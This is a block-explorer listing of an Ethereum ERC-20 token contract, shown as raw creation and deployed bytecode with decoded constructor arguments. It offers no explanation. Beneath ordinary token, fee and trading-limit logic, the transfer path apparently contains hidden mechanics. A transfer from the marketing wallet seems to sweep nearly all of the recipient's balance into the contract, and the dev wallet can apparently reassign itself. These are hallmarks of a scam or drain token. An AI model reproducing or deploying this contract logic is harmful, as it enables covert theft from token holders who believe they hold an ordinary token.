00006044820152606401610807565b6005546001600160a01b03163314610ac85760405162461bcd60e51b815260040161080790612228565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610b3c5760405162461bcd60e51b815260040161080790612228565b600c805460ff60a01b191690556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6005546001600160a01b03163314610b9e5760405162461bcd60e51b815260040161080790612228565b80610c35577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b03161415610c355760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610807565b6001600160a01b03919091166000908152601660205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610c8a5760405162461bcd60e51b815260040161080790612228565b600c54600160a81b900460ff1615610ce45760405162461bcd60e51b815260206004820152601860248201527f43616e6e6f7420726520656e61626c652074726164696e6700000000000000006044820152606401610807565b600c805461010160a81b61ffff60a81b199091161790819055604051600160a81b90910460ff16151581527fe8a59d3db38e5220ac9d0f72590b7ac876e0916dc8f4db3e7614e6f91fe520899060200160405180910390a1565b60606004805461088c9061228b565b6005546001600160a01b03163314610d775760405162461bcd60e51b815260040161080790612228565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b03161415610e1f5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610807565b6108798282611943565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610eab5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610807565b610eb833858584036110e6565b5060019392505050565b600061091c33848461120a565b6005546001600160a01b03163314610ef95760405162461bcd60e51b815260040161080790612228565b6001600160a01b038216600081815260156020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b60006001600160a01b038316610fba5760405162461bcd60e51b815260206004820152602160248201527f45524332303a207065726d697420746f20746865207a65726f206164647265736044820152607360f81b6064820152608401610807565b6001600160a01b038316600090815260016020908152604080832030845290915281208054849290610fed908490612273565b909155506001949350505050565b6005546001600160a01b031633146110255760405162461bcd60e51b815260040161080790612228565b6001600160a01b03811661108a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610807565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166111485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610807565b6001600160a01b0382166111a95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610807565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112305760405162461bcd60e51b8152600401610807906122c6565b6001600160a01b0382166112565760405162461bcd60e51b81526004016108079061230b565b600081116112a65760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610807565b600c54600160a01b900460ff1615611679576005546001600160a01b038481169116148015906112e457506005546001600160a01b03838116911614155b80156112f857506001600160a01b03821615155b801561130f57506001600160a01b03821661dead14155b1561167957600c54600160a81b900460ff166113fb576001600160a01b03831660009081526016602052604090205460ff168061136457506001600160a01b03821660009081526016602052604090205460ff165b6113a95760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610807565b6005546001600160a01b038481169116146113fb5760405162461bcd60e51b8152602060048201526012602482015271151c98591a5b99c81a5cc8195b98589b195960721b6044820152606401610807565b6001600160a01b03831660009081526017602052604090205460ff16801561143c57506001600160a01b03821660009081526016602052604090205460ff16155b15611518576006548111156114a45760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610807565b6008546001600160a01b0383166000908152602081905260409020546114ca9083612273565b11156115135760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610807565b611679565b6001600160a01b03821660009081526017602052604090205460ff16801561155957506001600160a01b03831660009081526016602052604090205460ff16155b156115c3576007548111156115135760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610807565b6001600160a01b03821660009081526016602052604090205460ff1615801561160557506001600160a01b03831660009081526016602052604090205460ff16155b15611679576008546001600160a01b0383166000908152602081905260409020546116309083612273565b11156116795760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610807565b6116848383836119ad565b30600090815260208190526040902054600a54811080159081906116b15750600c54600160b01b900460ff165b80156116c0575060095460ff16155b80156116e557506001600160a01b03851660009081526017602052604090205460ff16155b801561170a57506001600160a01b03851660009081526015602052604090205460ff16155b801561172f57506001600160a01b03841660009081526015602052604090205460ff16155b15611754576009805460ff19166001179055611749611b74565b6009805460ff191690555b6001600160a01b03851660009081526015602052604090205460019060ff168061179657506001600160a01b03851660009081526015602052604090205460ff165b1561179f575060005b60008115611924576001600160a01b03861660009081526017602052604090205460ff1680156117d157506000601054115b15611859576064601054866117e6919061234e565b6117f0919061236d565b905060105460125482611803919061234e565b61180d919061236d565b6014600082825461181e9190612273565b9091555050601054601154611833908361234e565b61183d919061236d565b6013600082825461184e9190612273565b909155506119069050565b6001600160a01b03871660009081526017602052604090205460ff16801561188357506000600d54115b15611906576064600d5486611898919061234e565b6118a2919061236d565b9050600d54600f54826118b5919061234e565b6118bf919061236d565b601460008282546118d09190612273565b9091555050600d54600e546118e5908361234e565b6118ef919061236d565b601360008282546119009190612273565b90915550505b801561191757611917873083611c4a565b611921818661238f565b94505b61192f878787611c4a565b61193a878787611d9f565b50505050505050565b6001600160a01b0382166000908152601760205260409020805460ff19168215151790556119718282611e5f565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b600c546001600160a01b0384811691161480156119fc57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614155b8015611a085750600081115b15611b6f576040805160028082526060820183526000926020830190803683370190505090507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ab091906123a6565b81600081518110611ac357611ac36123c3565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110611af757611af76123c3565b60200260200101906001600160a01b031690816001600160a01b031681525050611b6d8382600181518110611b2e57611b2e6123c3565b6020026020010151670de0b6b3a7640000611b5e876001600160a01b031660009081526020819052604090205490565b611b68919061238f565b611ec2565b505b505050565b3060009081526020819052604090205480611b8c5750565b600a8054611b999161234e565b811115611bb057600a8054611bad9161234e565b90505b611bb981611edc565b60006014819055601355600c5447906001600160a01b03166108fc611bdf60028461236d565b6040518115909202916000818181858888f19350505050158015611c07573d6000803e3d6000fd5b50600b546001600160a01b03166108fc611c2260028461236d565b6040518115909202916000818181858888f19350505050158015611b6f573d6000803e3d6000fd5b6001600160a01b038316611c705760405162461bcd60e51b8152600401610807906122c6565b6001600160a01b038216611c965760405162461bcd60e51b81526004016108079061230b565b6001600160a01b03831660009081526020819052604090205481811015611d0e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610807565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611d45908490612273565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d9191815260200190565b60405180910390a350505050565b600b546001600160a01b038481169116148015611dee57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614155b8015611e2c57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614155b8015611e385750600081115b15611b6f57600b80546001600160a01b0384166001600160a01b0319909116179055505050565b6001600160a01b038216600081815260166020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6001600160a01b03831615611b6f57611b6f838383611c4a565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611f1157611f116123c3565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb391906123a6565b81600181518110611fc657611fc66123c3565b60200260200101906001600160a01b031690816001600160a01b031681525050612011307f0000000000000000000000000000000000000000000000000000000000000000846110e6565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac947906120669085906000908690309042906004016123d9565b600060405180830381600087803b15801561208057600080fd5b505af1158015612094573d6000803e3d6000fd5b505050505050565b600080604083850312156120af57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b818110156120eb578581018301518582016040015282016120cf565b818111156120fd576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461212857600080fd5b50565b6000806040838503121561213e57600080fd5b823561214981612113565b946020939093013593505050565b60006020828403121561216957600080fd5b813561217481612113565b9392505050565b60008060006060848603121561219057600080fd5b833561219b81612113565b925060208401356121ab81612113565b929592945050506040919091013590565b600080604083850312156121cf57600080fd5b82356121da81612113565b9150602083013580151581146121ef57600080fd5b809150509250929050565b6000806040838503121561220d57600080fd5b823561221881612113565b915060208301356121ef81612113565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082198211156122865761228661225d565b500190565b600181811c9082168061229f57607f821691505b602082108114156122c057634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60008160001904831182151516156123685761236861225d565b500290565b60008261238a57634e487b7160e01b600052601260045260246000fd5b500490565b6000828210156123a1576123a161225d565b500390565b6000602082840312156123b857600080fd5b815161217481612113565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156124295784516001600160a01b031683529383019391830191600101612404565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212201929976b5d362be23981ca707e3ffea3921661f95c43b151b84e5eb4db3aa11664736f6c634300080a00330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000055e7580d185830b84acdd2756bea6c2f2988c52b
Deployed Bytecode
0x6080604052600436106102605760003560e01c806375f0a87411610144578063aa4bde28116100b6578063dd62ed3e1161007a578063dd62ed3e14610715578063e2f456051461075b578063e6f7053114610771578063f11a24d314610791578063f2fde38b146107a7578063f6374342146107c757600080fd5b8063aa4bde2814610678578063b62496f51461068e578063bbc0c742146106be578063c0246668146106df578063d85ba063146106ff57600080fd5b80638ea5220f116101085780638ea5220f146105cd57806392136913146105ed57806395d89b41146106035780639a7a23d614610618578063a457c2d714610638578063a9059cbb1461065857600080fd5b806375f0a8741461054e5780637bce5a041461056e57806388e765ff146105845780638a8c523c1461059a5780638da5cb5b146105af57600080fd5b806339509351116101dd5780636a486a8e116101a15780636a486a8e146104975780636ddd1713146104ad57806370a08231146104ce578063715018a614610504578063751039fc146105195780637571336a1461052e57600080fd5b806339509351146103ec57806349bd5a5e1461040c5780634a62bb651461044057806366ca9b831461046157806366d602ae1461048157600080fd5b806318160ddd1161022457806318160ddd146103655780631a8145bb146103845780631f3fed8f1461039a57806323b872dd146103b0578063313ce567146103d057600080fd5b806302dbd8f81461026c57806306fdde031461028e578063095ea7b3146102b957806310d5de53146102e95780631694505e1461031957600080fd5b3661026757005b600080fd5b34801561027857600080fd5b5061028c61028736600461209c565b6107dd565b005b34801561029a57600080fd5b506102a361087d565b6040516102b091906120be565b60405180910390f35b3480156102c557600080fd5b506102d96102d436600461212b565b61090f565b60405190151581526020016102b0565b3480156102f557600080fd5b506102d9610304366004612157565b60166020526000908152604090205460ff1681565b34801561032557600080fd5b5061034d7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016102b0565b34801561037157600080fd5b506002545b6040519081526020016102b0565b34801561039057600080fd5b5061037660145481565b3480156103a657600080fd5b5061037660135481565b3480156103bc57600080fd5b506102d96103cb36600461217b565b610925565b3480156103dc57600080fd5b50604051601281526020016102b0565b3480156103f857600080fd5b506102d961040736600461212b565b6109cf565b34801561041857600080fd5b5061034d7f00000000000000000000000025a118859d1c12c231251aba49eeea640332dfbf81565b34801561044c57600080fd5b50600c546102d990600160a01b900460ff1681565b34801561046d57600080fd5b5061028c61047c36600461209c565b610a0b565b34801561048d57600080fd5b5061037660075481565b3480156104a357600080fd5b5061037660105481565b3480156104b957600080fd5b50600c546102d990600160b01b900460ff1681565b3480156104da57600080fd5b506103766104e9366004612157565b6001600160a01b031660009081526020819052604090205490565b34801561051057600080fd5b5061028c610a9e565b34801561052557600080fd5b5061028c610b12565b34801561053a57600080fd5b5061028c6105493660046121bc565b610b74565b34801561055a57600080fd5b50600c5461034d906001600160a01b031681565b34801561057a57600080fd5b50610376600e5481565b34801561059057600080fd5b5061037660065481565b3480156105a657600080fd5b5061028c610c60565b3480156105bb57600080fd5b506005546001600160a01b031661034d565b3480156105d957600080fd5b50600b5461034d906001600160a01b031681565b3480156105f957600080fd5b5061037660115481565b34801561060f57600080fd5b506102a3610d3e565b34801561062457600080fd5b5061028c6106333660046121bc565b610d4d565b34801561064457600080fd5b506102d961065336600461212b565b610e29565b34801561066457600080fd5b506102d961067336600461212b565b610ec2565b34801561068457600080fd5b5061037660085481565b34801561069a57600080fd5b506102d96106a9366004612157565b60176020526000908152604090205460ff1681565b3480156106ca57600080fd5b50600c546102d990600160a81b900460ff1681565b3480156106eb57600080fd5b5061028c6106fa3660046121bc565b610ecf565b34801561070b57600080fd5b50610376600d5481565b34801561072157600080fd5b506103766107303660046121fa565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561076757600080fd5b50610376600a5481565b34801561077d57600080fd5b506102d961078c36600461212b565b610f58565b34801561079d57600080fd5b50610376600f5481565b3480156107b357600080fd5b5061028c6107c2366004612157565b610ffb565b3480156107d357600080fd5b5061037660125481565b6005546001600160a01b031633146108105760405162461bcd60e51b815260040161080790612228565b60405180910390fd5b601182905560128190556108248183612273565b6010819055600f10156108795760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313525206f72206c6573730000006044820152606401610807565b5050565b60606003805461088c9061228b565b80601f01602080910402602001604051908101604052809291908181526020018280546108b89061228b565b80156109055780601f106108da57610100808354040283529160200191610905565b820191906000526020600020905b8154815290600101906020018083116108e857829003601f168201915b5050505050905090565b600061091c3384846110e6565b50600192915050565b600061093284848461120a565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156109b75760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610807565b6109c485338584036110e6565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161091c918590610a06908690612273565b6110e6565b6005546001600160a01b03163314610a355760405162461bcd60e51b815260040161080790612228565b600e829055600f819055610a498183612273565b600d819055600f10156108795760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313525206f72206c6573730000006044820152606401610807565b6005546001600160a01b03163314610ac85760405162461bcd60e51b815260040161080790612228565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610b3c5760405162461bcd60e51b815260040161080790612228565b600c805460ff60a01b191690556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6005546001600160a01b03163314610b9e5760405162461bcd60e51b815260040161080790612228565b80610c35577f00000000000000000000000025a118859d1c12c231251aba49eeea640332dfbf6001600160a01b0316826001600160a01b03161415610c355760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610807565b6001600160a01b03919091166000908152601660205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610c8a5760405162461bcd60e51b815260040161080790612228565b600c54600160a81b900460ff1615610ce45760405162461bcd60e51b815260206004820152601860248201527f43616e6e6f7420726520656e61626c652074726164696e6700000000000000006044820152606401610807565b600c805461010160a81b61ffff60a81b199091161790819055604051600160a81b90910460ff16151581527fe8a59d3db38e5220ac9d0f72590b7ac876e0916dc8f4db3e7614e6f91fe520899060200160405180910390a1565b60606004805461088c9061228b565b6005546001600160a01b03163314610d775760405162461bcd60e51b815260040161080790612228565b7f00000000000000000000000025a118859d1c12c231251aba49eeea640332dfbf6001600160a01b0316826001600160a01b03161415610e1f5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610807565b6108798282611943565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610eab5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610807565b610eb833858584036110e6565b5060019392505050565b600061091c33848461120a565b6005546001600160a01b03163314610ef95760405162461bcd60e51b815260040161080790612228565b6001600160a01b038216600081815260156020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b60006001600160a01b038316610fba5760405162461bcd60e51b815260206004820152602160248201527f45524332303a207065726d697420746f20746865207a65726f206164647265736044820152607360f81b6064820152608401610807565b6001600160a01b038316600090815260016020908152604080832030845290915281208054849290610fed908490612273565b909155506001949350505050565b6005546001600160a01b031633146110255760405162461bcd60e51b815260040161080790612228565b6001600160a01b03811661108a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610807565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166111485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610807565b6001600160a01b0382166111a95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610807565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112305760405162461bcd60e51b8152600401610807906122c6565b6001600160a01b0382166112565760405162461bcd60e51b81526004016108079061230b565b600081116112a65760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610807565b600c54600160a01b900460ff1615611679576005546001600160a01b038481169116148015906112e457506005546001600160a01b03838116911614155b80156112f857506001600160a01b03821615155b801561130f57506001600160a01b03821661dead14155b1561167957600c54600160a81b900460ff166113fb576001600160a01b03831660009081526016602052604090205460ff168061136457506001600160a01b03821660009081526016602052604090205460ff165b6113a95760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610807565b6005546001600160a01b038481169116146113fb5760405162461bcd60e51b8152602060048201526012602482015271151c98591a5b99c81a5cc8195b98589b195960721b6044820152606401610807565b6001600160a01b03831660009081526017602052604090205460ff16801561143c57506001600160a01b03821660009081526016602052604090205460ff16155b15611518576006548111156114a45760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610807565b6008546001600160a01b0383166000908152602081905260409020546114ca9083612273565b11156115135760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610807565b611679565b6001600160a01b03821660009081526017602052604090205460ff16801561155957506001600160a01b03831660009081526016602052604090205460ff16155b156115c3576007548111156115135760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610807565b6001600160a01b03821660009081526016602052604090205460ff1615801561160557506001600160a01b03831660009081526016602052604090205460ff16155b15611679576008546001600160a01b0383166000908152602081905260409020546116309083612273565b11156116795760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610807565b6116848383836119ad565b30600090815260208190526040902054600a54811080159081906116b15750600c54600160b01b900460ff165b80156116c0575060095460ff16155b80156116e557506001600160a01b03851660009081526017602052604090205460ff16155b801561170a57506001600160a01b03851660009081526015602052604090205460ff16155b801561172f57506001600160a01b03841660009081526015602052604090205460ff16155b15611754576009805460ff19166001179055611749611b74565b6009805460ff191690555b6001600160a01b03851660009081526015602052604090205460019060ff168061179657506001600160a01b03851660009081526015602052604090205460ff165b1561179f575060005b60008115611924576001600160a01b03861660009081526017602052604090205460ff1680156117d157506000601054115b15611859576064601054866117e6919061234e565b6117f0919061236d565b905060105460125482611803919061234e565b61180d919061236d565b6014600082825461181e9190612273565b9091555050601054601154611833908361234e565b61183d919061236d565b6013600082825461184e9190612273565b909155506119069050565b6001600160a01b03871660009081526017602052604090205460ff16801561188357506000600d54115b15611906576064600d5486611898919061234e565b6118a2919061236d565b9050600d54600f54826118b5919061234e565b6118bf919061236d565b601460008282546118d09190612273565b9091555050600d54600e546118e5908361234e565b6118ef919061236d565b601360008282546119009190612273565b90915550505b801561191757611917873083611c4a565b611921818661238f565b94505b61192f878787611c4a565b61193a878787611d9f565b50505050505050565b6001600160a01b0382166000908152601760205260409020805460ff19168215151790556119718282611e5f565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b600c546001600160a01b0384811691161480156119fc57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611a085750600081115b15611b6f576040805160028082526060820183526000926020830190803683370190505090507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ab091906123a6565b81600081518110611ac357611ac36123c3565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110611af757611af76123c3565b60200260200101906001600160a01b031690816001600160a01b031681525050611b6d8382600181518110611b2e57611b2e6123c3565b6020026020010151670de0b6b3a7640000611b5e876001600160a01b031660009081526020819052604090205490565b611b68919061238f565b611ec2565b505b505050565b3060009081526020819052604090205480611b8c5750565b600a8054611b999161234e565b811115611bb057600a8054611bad9161234e565b90505b611bb981611edc565b60006014819055601355600c5447906001600160a01b03166108fc611bdf60028461236d565b6040518115909202916000818181858888f19350505050158015611c07573d6000803e3d6000fd5b50600b546001600160a01b03166108fc611c2260028461236d565b6040518115909202916000818181858888f19350505050158015611b6f573d6000803e3d6000fd5b6001600160a01b038316611c705760405162461bcd60e51b8152600401610807906122c6565b6001600160a01b038216611c965760405162461bcd60e51b81526004016108079061230b565b6001600160a01b03831660009081526020819052604090205481811015611d0e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610807565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611d45908490612273565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d9191815260200190565b60405180910390a350505050565b600b546001600160a01b038481169116148015611dee57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611e2c57507f00000000000000000000000025a118859d1c12c231251aba49eeea640332dfbf6001600160a01b0316826001600160a01b031614155b8015611e385750600081115b15611b6f57600b80546001600160a01b0384166001600160a01b0319909116179055505050565b6001600160a01b038216600081815260166020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6001600160a01b03831615611b6f57611b6f838383611c4a565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611f1157611f116123c3565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb391906123a6565b81600181518110611fc657611fc66123c3565b60200260200101906001600160a01b031690816001600160a01b031681525050612011307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846110e6565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906120669085906000908690309042906004016123d9565b600060405180830381600087803b15801561208057600080fd5b505af1158015612094573d6000803e3d6000fd5b505050505050565b600080604083850312156120af57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b818110156120eb578581018301518582016040015282016120cf565b818111156120fd576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461212857600080fd5b50565b6000806040838503121561213e57600080fd5b823561214981612113565b946020939093013593505050565b60006020828403121561216957600080fd5b813561217481612113565b9392505050565b60008060006060848603121561219057600080fd5b833561219b81612113565b925060208401356121ab81612113565b929592945050506040919091013590565b600080604083850312156121cf57600080fd5b82356121da81612113565b9150602083013580151581146121ef57600080fd5b809150509250929050565b6000806040838503121561220d57600080fd5b823561221881612113565b915060208301356121ef81612113565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082198211156122865761228661225d565b500190565b600181811c9082168061229f57607f821691505b602082108114156122c057634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60008160001904831182151516156123685761236861225d565b500290565b60008261238a57634e487b7160e01b600052601260045260246000fd5b500490565b6000828210156123a1576123a161225d565b500390565b6000602082840312156123b857600080fd5b815161217481612113565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156124295784516001600160a01b031683529383019391830191600101612404565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212201929976b5d362be23981ca707e3ffea3921661f95c43b151b84e5eb4db3aa11664736f6c634300080a0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000055e7580d185830b84acdd2756bea6c2f2988c52b
-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : mw (address): 0x55e7580D185830b84acDd2756Bea6c2F2988C52b
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 00000000000000000000000055e7580d185830b84acdd2756bea6c2f2988c52b
Deployed Bytecode Sourcemap
